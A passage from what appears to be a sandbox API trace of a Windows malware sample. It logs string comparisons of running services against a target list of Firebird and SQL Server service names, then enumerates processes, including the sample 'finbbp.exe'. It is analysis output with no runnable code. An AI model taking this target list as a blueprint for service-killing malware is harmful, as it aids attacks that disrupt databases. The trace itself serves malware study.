lpString2="lmhosts") returned 1 [0282.758] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0282.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0282.758] lstrlenW (lpString="LSM") returned 3 [0282.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0282.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0282.758] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0282.758] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0282.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0282.758] lstrlenW (lpString="MpsSvc") returned 6 [0282.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0282.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0282.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0282.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0282.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0282.758] lstrlenW (lpString="NcbService") returned 10 [0282.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0282.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0282.758] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0282.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0282.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0282.759] lstrlenW (lpString="netprofm") returned 8 [0282.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0282.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0282.759] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0282.759] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0282.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0282.759] lstrlenW (lpString="NgcSvc") returned 6 [0282.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0282.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0282.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0282.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0282.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0282.759] lstrlenW (lpString="NlaSvc") returned 6 [0282.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0282.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0282.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0282.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0282.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0282.759] lstrlenW (lpString="nsi") returned 3 [0282.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0282.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0282.759] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0282.759] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0282.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0282.759] lstrlenW (lpString="PcaSvc") returned 6 [0282.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0282.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0282.759] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0282.759] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0282.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0282.759] lstrlenW (lpString="PlugPlay") returned 8 [0282.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0282.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0282.760] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0282.760] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0282.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0282.760] lstrlenW (lpString="Power") returned 5 [0282.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0282.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0282.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0282.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0282.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0282.760] lstrlenW (lpString="ProfSvc") returned 7 [0282.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0282.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0282.760] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0282.760] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0282.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0282.760] lstrlenW (lpString="RpcEptMapper") returned 12 [0282.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.760] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0282.760] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0282.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0282.760] lstrlenW (lpString="RpcSs") returned 5 [0282.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0282.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0282.760] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0282.760] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0282.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0282.760] lstrlenW (lpString="SamSs") returned 5 [0282.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0282.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0282.760] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0282.760] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0282.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0282.761] lstrlenW (lpString="Schedule") returned 8 [0282.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0282.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0282.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0282.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0282.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0282.761] lstrlenW (lpString="SecurityHealthService") returned 21 [0282.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0282.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0282.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0282.761] lstrlenW (lpString="SENS") returned 4 [0282.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0282.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0282.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0282.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0282.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0282.761] lstrlenW (lpString="ShellHWDetection") returned 16 [0282.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.761] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0282.761] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0282.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0282.762] lstrlenW (lpString="Spooler") returned 7 [0282.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0282.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0282.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0282.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0282.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0282.762] lstrlenW (lpString="SSDPSRV") returned 7 [0282.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0282.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0282.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0282.762] lstrlenW (lpString="StateRepository") returned 15 [0282.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0282.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0282.762] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0282.762] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0282.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0282.762] lstrlenW (lpString="SysMain") returned 7 [0282.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0282.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0282.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0282.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0282.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0282.762] lstrlenW (lpString="SystemEventsBroker") returned 18 [0282.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0282.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0282.763] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x53b990 | out: hHeap=0x4e0000) returned 1 [0282.763] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2ac [0282.821] Process32FirstW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.822] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.823] lstrlenW (lpString="System") returned 6 [0282.823] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.823] lstrlenW (lpString="smss.exe") returned 8 [0282.823] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.824] lstrlenW (lpString="csrss.exe") returned 9 [0282.824] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.824] lstrlenW (lpString="wininit.exe") returned 11 [0282.825] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.825] lstrlenW (lpString="csrss.exe") returned 9 [0282.825] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.826] lstrlenW (lpString="winlogon.exe") returned 12 [0282.826] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.826] lstrlenW (lpString="services.exe") returned 12 [0282.826] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.827] lstrlenW (lpString="lsass.exe") returned 9 [0282.827] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.827] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.827] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.828] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.828] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.829] lstrlenW (lpString="svchost.exe") returned 11 [0282.829] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.861] lstrlenW (lpString="svchost.exe") returned 11 [0282.861] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.861] lstrlenW (lpString="dwm.exe") returned 7 [0282.861] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.862] lstrlenW (lpString="svchost.exe") returned 11 [0282.862] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.862] lstrlenW (lpString="svchost.exe") returned 11 [0282.863] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.863] lstrlenW (lpString="svchost.exe") returned 11 [0282.863] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.864] lstrlenW (lpString="svchost.exe") returned 11 [0282.864] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.864] lstrlenW (lpString="svchost.exe") returned 11 [0282.864] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.865] lstrlenW (lpString="svchost.exe") returned 11 [0282.865] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.865] lstrlenW (lpString="svchost.exe") returned 11 [0282.866] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.866] lstrlenW (lpString="svchost.exe") returned 11 [0282.866] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.867] lstrlenW (lpString="svchost.exe") returned 11 [0282.867] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.867] lstrlenW (lpString="svchost.exe") returned 11 [0282.867] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.868] lstrlenW (lpString="spoolsv.exe") returned 11 [0282.868] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.869] lstrlenW (lpString="svchost.exe") returned 11 [0282.869] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.869] lstrlenW (lpString="audiodg.exe") returned 11 [0282.869] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.870] lstrlenW (lpString="sihost.exe") returned 10 [0282.870] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.871] lstrlenW (lpString="svchost.exe") returned 11 [0282.871] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.871] lstrlenW (lpString="taskhostw.exe") returned 13 [0282.871] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.872] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0282.872] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0282.872] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0282.873] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0282.873] lstrlenW (lpString="Memory Compression") returned 18 [0282.873] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.874] lstrlenW (lpString="explorer.exe") returned 12 [0282.874] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.874] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.874] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.875] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.875] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.876] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.876] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.877] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0282.877] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0282.877] lstrlenW (lpString="finbbp.exe") returned 10 [0282.877] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.878] lstrlenW (lpString="svchost.exe") returned 11 [0282.878] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0282.878] lstrlenW (lpString="finbbp.exe") returned 10 [0282.879] Process32NextW (in: hSnapshot=0x2ac, 